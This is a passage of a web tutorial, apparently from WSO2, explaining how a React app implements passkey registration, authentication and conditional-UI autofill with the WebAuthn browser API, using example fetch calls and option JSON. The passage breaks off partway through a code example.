<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> options </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token maybe-class-name">PublicKeyCredential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">parseCreationOptionsFromJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">optionsJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>Now we can actually ask the browser to create the passkey:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> credential </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token dom variable" style="color:rgb(201, 103, 101)">navigator</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">credentials</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">create</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">publicKey</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> options</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>From here, the browser takes over the interaction with the authenticator.</p>
<p>Depending on the device and where the user keeps their passkeys, they might be prompted through Touch ID, Face ID, Windows Hello, Android device unlock, a credential manager, or a hardware security key.</p>
<p>Once the user approves the operation, the authenticator creates a new public-private key pair for this credential.</p>
<p>The <strong>private key stays with the authenticator</strong>.</p>
<p>The browser returns a <code>PublicKeyCredential</code> containing the registration response, which includes the information the server needs to register the corresponding public credential.</p>
<p>React then sends that response back to the server:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/passkeys/register/verify"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">headers</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token string-property property" style="color:rgb(12, 150, 155)">"Content-Type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"application/json"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">credentials</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"include"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">body</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:rgb(17, 17, 17)">JSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">stringify</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">credential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">toJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>Just like the first endpoint, <code>/api/passkeys/register/verify</code> is an endpoint we implement ourselves.</p>
<p>The server processes the WebAuthn response, checks it against the registration ceremony it started, and extracts the credential information it needs.</p>
<p>If the verification succeeds, it stores the credential ID and public key against the user's account.</p>
<p>At no point does your React application or backend receive the user's fingerprint, Face ID data, or device PIN. Those stay local to the authenticator and are only used to authorize access to the private key.</p>
<p>At this point, registration is complete.</p>
<p>The server has the public credential, the authenticator has the private key, and the user now has a passkey they can use during the authentication ceremony.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="authentication-ceremony">Authentication ceremony<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#authentication-ceremony" class="hash-link" aria-label="Direct link to Authentication ceremony" title="Direct link to Authentication ceremony" translate="no">​</a></h3>
<p>When the user comes back later and wants to sign in, the flow looks very similar to registration.</p>
<p>This time, instead of creating a new credential, we are asking the user to prove that they still have access to a passkey that was registered earlier.</p>
<p>React starts by asking the server for a set of <strong>authentication options</strong>.</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> optionsJSON </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/passkeys/login/options"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">credentials</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"include"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">then</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token parameter">res</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> res</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">json</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>Just like the registration endpoint, <code>/api/passkeys/login/options</code> is an endpoint we define in our own backend.</p>
<p>The server creates the options for this specific login attempt and sends them back to the application.</p>
<p>A simplified response might look like this:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"challenge"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"base64url-encoded-random-value"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"rpId"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"example.com"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"allowCredentials"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token property" style="color:rgb(12, 150, 155)">"type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"public-key"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token property" style="color:rgb(12, 150, 155)">"id"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"base64url-encoded-credential-id"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">]</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"timeout"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">60000</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"userVerification"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"preferred"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>The shape is a little different from registration because we are no longer creating a credential.</p>
<ul>
<li class=""><code>challenge</code> is another fresh random value generated for this login attempt.</li>
<li class=""><code>rpId</code> identifies the relying party the passkey belongs to.</li>
<li class=""><code>allowCredentials</code> can tell the browser which registered credentials are allowed for this request. Depending on how you design the login flow, this list may also be omitted so the browser can discover an appropriate passkey itself.</li>
<li class=""><code>userVerification</code> tells the browser what level of user verification the relying party is requesting.</li>
</ul>
<p>As before, some of these values are represented as binary data by WebAuthn, so we convert the JSON response into the format the browser API expects:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> options </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token maybe-class-name">PublicKeyCredential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">parseRequestOptionsFromJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">optionsJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>Now React can ask the browser to authenticate the user:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> credential </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token dom variable" style="color:rgb(201, 103, 101)">navigator</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">credentials</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">get</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">publicKey</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> options</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>At this point, the browser looks for a passkey that matches the request.</p>
<p>The user might be asked to approve its use with Face ID, Touch ID, Windows Hello, a device PIN, or another mechanism supported by the authenticator.</p>
<p>Once approved, the authenticator uses the <strong>private key</strong> associated with that passkey to create a signed response for this login attempt.</p>
<p>The private key itself never leaves the authenticator.</p>
<p>The browser returns the authentication response to React, and React sends it back to the server:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> result </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/passkeys/login/verify"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">headers</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token string-property property" style="color:rgb(12, 150, 155)">"Content-Type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"application/json"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">credentials</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"include"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">body</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:rgb(17, 17, 17)">JSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">stringify</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">credential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">toJSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p><code>/api/passkeys/login/verify</code> is another backend endpoint that we implement ourselves.</p>
<p>The server already has the credential ID and public key that were stored during registration.</p>
<p>It uses that information to verify the response returned by the authenticator.</p>
<p>The server also checks that the response belongs to the challenge it created for this login attempt and that it came from the expected relying party and origin.</p>
<p>If those checks succeed, the server can treat the user as authenticated and continue with whatever comes next in your application, such as creating a session or issuing tokens.</p>
<p>So the authentication ceremony can be reduced to this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Server creates authentication options</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React passes them to WebAuthn</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Browser finds a matching passkey</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Authenticator signs the challenge</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React sends the response to the server</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Server verifies it using the stored public key</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">User is authenticated</span><br></span></code></pre></div></div>
<p>If you compare that with registration, the difference is fairly straightforward.</p>
<p>During <strong>registration</strong>, the authenticator creates a new key pair and the server stores the public credential.</p>
<p>During <strong>authentication</strong>, the authenticator proves that it still has the corresponding private key, and the server verifies that proof using the public key it already stored.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="conditional-ui-and-autofill">Conditional UI and autofill<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#conditional-ui-and-autofill" class="hash-link" aria-label="Direct link to Conditional UI and autofill" title="Direct link to Conditional UI and autofill" translate="no">​</a></h3>
<p>So far, we've assumed the user clicks a dedicated <strong>Sign in with passkey</strong> button. That is one way to do it, but passkeys can also be built directly into a normal login form.</p>
<p>Suppose your React application already has an email or username field:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">input</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">type</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">email</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">name</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">email</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">autoComplete</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">username webauthn</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">placeholder</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">Email</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)"></span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><br></span></code></pre></div></div>
<p>The <code>webauthn</code> value tells the browser that passkeys can be offered through autofill for this field.</p>
<p>Now, instead of waiting for the user to click a separate passkey button, your application can start a WebAuthn request in <strong>conditional</strong> mode.</p>
<p>First, check whether the browser supports conditional mediation:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> supported </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token maybe-class-name">PublicKeyCredential</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">isConditionalMediationAvailable</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>If it does, ask your backend for the authentication options just like we did in the normal authentication ceremony:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> optionsJSON </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/passkeys/login/options"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">then</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token parameter">res</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> res</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">json</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" 